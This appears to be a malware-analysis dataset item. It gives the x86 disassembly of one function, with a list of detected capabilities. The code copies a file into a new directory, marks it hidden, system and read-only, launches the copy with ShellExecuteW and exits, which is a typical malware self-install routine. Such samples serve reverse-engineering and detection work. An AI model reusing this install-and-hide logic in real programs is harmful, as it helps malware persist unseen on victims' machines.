Function at 0x40cc02
Capabilities:
Copy file
Create directory
Create process on windows
Set file attributes
Terminate process

Disassembly:
sub esp, 0x38
push ebx
push ebp
push esi
push edi
mov edi, edx
mov byte [esp + 0x17], cl
push edi
call fcn.0043b4cb
mov ebp, 0x4742f0
pop ecx
test eax, eax
je 0x40cc69
push 0
mov ecx, ebp
call fcn.00401f04
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
mov ebx, dword [esp + 0x4c]
lea ecx, [esp + 0x30]
push ebx
push 0x4655f0
mov edx, ebp
call fcn.00409082
pop ecx
mov edx, eax
lea ecx, [esp + 0x1c]
call fcn.00403014
pop ecx
mov esi, 0x4742c0
push eax
mov ecx, esi
call fcn.00401f13
lea ecx, [esp + 0x18]
call fcn.00401f09
jmp 0x40cc89
mov ebx, dword [esp + 0x4c]
lea ecx, [esp + 0x30]
mov dl, byte [esp + 0x17]
push ebx
call fcn.0040d83d
pop ecx
mov esi, 0x4742c0
push eax
mov ecx, esi
call fcn.00401f13
lea ecx, [esp + 0x30]
call fcn.00401f09
mov ecx, esi
call fcn.00401f04
push eax
mov ebp, 0x471b38
push ebp
call fcn.0043f32f
pop ecx
pop ecx
test eax, eax
jne 0x40ccc8
mov ecx, 0x4742a8
call fcn.00401f04
push eax
push ecx
call fcn.0040cb16
pop ecx
pop ecx
mov al, 1
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x38
ret
push 0
mov ecx, esi
call fcn.00401f04
push eax
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_CopyFileW]
call ebp
test eax, eax
jne 0x40cda2
cmp byte [esp + 0x17], 0x36
je 0x40cda2
push edi
call fcn.0043b4cb
mov dl, 0x36
pop ecx
lea ecx, [esp + 0x30]
test eax, eax
je 0x40cd52
push edi
call fcn.0040d83d
pop ecx
push eax
mov ecx, 0x4742f0
call fcn.00401f13
lea ecx, [esp + 0x30]
call fcn.00401f09
push ebx
push 0x4655f0
mov edx, 0x4742f0
lea ecx, [esp + 0x20]
call fcn.00409082
pop ecx
mov edx, eax
lea ecx, [esp + 0x34]
call fcn.00403014
pop ecx
push eax
mov ecx, esi
call fcn.00401f13
lea ecx, [esp + 0x30]
call fcn.00401f09
lea ecx, [esp + 0x18]
jmp 0x40cd65
push ebx
call fcn.0040d83d
pop ecx
push eax
mov ecx, esi
call fcn.00401f13
lea ecx, [esp + 0x30]
call fcn.00401f09
push 0
mov ecx, 0x4742f0
call fcn.00401f04
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push 0
mov ecx, esi
call fcn.00401f04
push eax
mov ebx, 0x471b38
push ebx
call ebp
test eax, eax
jne 0x40cda2
push ebx
mov ecx, esi
call fcn.00408f7e
xor al, al
jmp 0x40ccc0
mov ecx, 0x4742a8
call fcn.00401f04
push eax
push ecx
call fcn.0040cb16
cmp byte [esp + 0x58], 1
pop ecx
pop ecx
jne 0x40cde8
push 7
mov ecx, esi
call fcn.00401f04
mov ebx, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push eax
call ebx
push edi
call fcn.0043b4cb
pop ecx
test eax, eax
je 0x40cde8
push 7
mov ecx, 0x4742f0
call fcn.00401f04
push eax
call ebx
cmp byte [esp + 0x54], 0
je 0x40ce30
sub esp, 0x1c
mov ecx, esp
push 0x471b38
call fcn.0040417e
push 0x465f54
mov edx, 0x4742d8
lea ecx, [esp + 0x50]
call fcn.0041b6f3
mov ecx, eax
call fcn.00401f04
mov edx, eax
mov ecx, closesocket
call fcn.004133c2
add esp, 0x20
lea ecx, [esp + 0x30]
call fcn.00401f09
push dword [0x471d44]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
mov eax, 0x46b928
mov ecx, esi
push eax
push eax
call fcn.00401f04
push eax
push 0x4650f8
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jg 0x40ce69
call fcn.0040ce72
jmp 0x40cd9b
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]